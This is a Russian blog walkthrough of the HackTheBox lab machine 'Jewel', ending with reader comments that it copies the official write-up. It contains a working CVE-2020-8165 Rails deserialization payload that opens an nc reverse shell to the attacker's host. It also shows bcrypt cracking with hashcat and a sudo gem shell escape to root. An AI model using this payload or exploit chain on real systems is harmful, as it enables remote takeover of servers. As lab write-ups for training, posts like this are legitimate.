![](https://habrastorage.org/getpro/habr/upload_files/d3c/b4b/9ac/d3cb4b9ac4658057c464224ccfd2f8a1.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
PWN;
криптография (Crypto);
cетевые технологии (Network);
реверс (Reverse Engineering);
стеганография (Stegano);
поиск и эксплуатация WEB-уязвимостей;
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).
Recon
Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.
10.10.10.211 jewel.htb
Первым делом сканируем открытые порты. Я это делаю с помощью rustscan.
rustscan jewel.htb -- -A
![](https://habrastorage.org/getpro/habr/upload_files/a1b/a72/238/a1ba722382cbc38d40f3a6b757122c38.png)
![](https://habrastorage.org/getpro/habr/upload_files/eb9/0b0/593/eb90b059395b53b0634eff4a15d309a5.png)
Порт 8080 отвечает за gitweb.
![](https://habrastorage.org/getpro/habr/upload_files/720/6e8/045/7206e80456d369788c9e5833d2769ab5.png)
![](https://habrastorage.org/getpro/habr/upload_files/658/280/501/6582805019a225e076a50396b6f5c564.png)
Отметим для себя наличие Gemfile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.
![](https://habrastorage.org/getpro/habr/upload_files/04c/df5/6a0/04cdf56a01de31346d45534f0df094c5.png)
И мы имеем возможность зарегистрироваться и авторизоваться.
![](https://habrastorage.org/getpro/habr/upload_files/1d3/028/346/1d3028346263a6f798c5f9ca6edff317.png)
Entry Point
Как оказалось, мы можем найти уже готовый готовый эксплоит для данной версии Ruby on Rails.
![](https://habrastorage.org/getpro/habr/upload_files/e98/f59/079/e98f590797a13aab10a568ef383a529c.png)
![](https://habrastorage.org/getpro/habr/upload_files/cd4/28a/576/cd428a5764a6d30f4897a6405ba36016.png)
![](https://habrastorage.org/getpro/habr/upload_files/a99/b75/f5a/a99b75f5a5b2a88512e2b00828e3b4fa.png)
![](https://habrastorage.org/getpro/habr/upload_files/e60/c13/1d7/e60c131d74cd67b2edfe3074bce6a14f.png)
USER
Давайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор.
git clone https://github.com/masahiro331/CVE-2020-8165.git
gem install bundler:1.17.3
apt install sqlite3 libsqlite3-dev
bundle install --path vendor/bundle
bundle exec rails db:migrate
bundle exec rails console
Теперь собираем свой эксплоит, в качестве нагрузки использует реверс шелл.
code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
puts "Payload"
require 'uri'
puts URI.encode_www_form(payload: payload)
![](https://habrastorage.org/getpro/habr/upload_files/21f/ac2/a51/21fac2a51fa73283cf2028968615a876.png)
И находим форму отправки.
![](https://habrastorage.org/getpro/habr/upload_files/de4/449/1e4/de44491e4205ee58fc6bfd30fa09154d.png)
Перехватываем запрос в Burp и подменяем имя пользователя.
![](https://habrastorage.org/getpro/habr/upload_files/a8d/bc5/2a5/a8dbc52a51c83180e934cd0828117585.png)
![](https://habrastorage.org/getpro/habr/upload_files/7cb/5db/5cf/7cb5db5cf460d7daad7d7bce04dac225.png)
И получаем бэкконнект.
![](https://habrastorage.org/getpro/habr/upload_files/72b/955/365/72b95536527d683965e73ab6c3a5bb92.png)
ROOT
И у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo, в добавок к паролю.
![](https://habrastorage.org/getpro/habr/upload_files/ba9/b41/2bc/ba9b412bc7130f1e152c6da17f634d15.png)
![](https://habrastorage.org/getpro/habr/upload_files/cc1/379/a5d/cc1379a5d06c44a61870463c5980c23f.png)
Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.
![](https://habrastorage.org/getpro/habr/upload_files/498/7d9/f3a/4987d9f3a1cbb92b7f22dd04d893513f.png)
А там есть два хеша.
![](https://habrastorage.org/getpro/habr/upload_files/b38/177/11e/b3817711e85814e46eae4aa11eb4fb33.png)
Брутим их и находим один пароль.
hashcat --example | grep -A2 -B2 '$2a'
![](https://habrastorage.org/getpro/habr/upload_files/35b/7e0/6a2/35b7e06a23ad6aa6ce65ff762434b827.png)
hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt
![](https://habrastorage.org/getpro/habr/upload_files/cd7/29c/bbe/cd729cbbe23c53f42d7afacc5633ea45.png)
Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.
![](https://habrastorage.org/getpro/habr/upload_files/b75/cd1/bf5/b75cd1bf5799b4c85c374b618f7dae34.png)
Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.
![](https://habrastorage.org/getpro/habr/upload_files/908/ce1/727/908ce1727c08a4b41abab7a9e4e2efc0.png)
![](https://habrastorage.org/getpro/habr/upload_files/814/965/103/814965103ec0230f3471b99ff26bb5e1.png)
И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem.
![](https://habrastorage.org/getpro/habr/upload_files/57c/8dd/c38/57c8ddc38567f43b71c5941832af0382.png)
sudo gem open -e "/bin/sh -c /bin/sh" rdoc
![](https://habrastorage.org/getpro/habr/upload_files/a4d/86f/1c3/a4d86f1c3216d07dcdb12273c9b08910.png)
И мы берём рута.
imurd
Это не туториал хакера Ralfa по самостоятельному прохождению, а официальный write-up, с hackthebox.eu, т.е. любой, кто имеет доступ к машине, имеет возможность получить и прохождение. Сам труд переведен на русский язык с ошибками и опечатками в командах, c официальными же (не самыми удобными) скриншотами, и притом, этот труд не отмечен как перевод.
mark_ablov
насколько я помню, любой может заливать write-up на площадку. мб, ralf и залил этот write-up на HTB?
imurd
Это возможно. К сожалению, я не смог пройти по ману, другие маны там, были очень похожи на этот, потому был смущен и разочарован.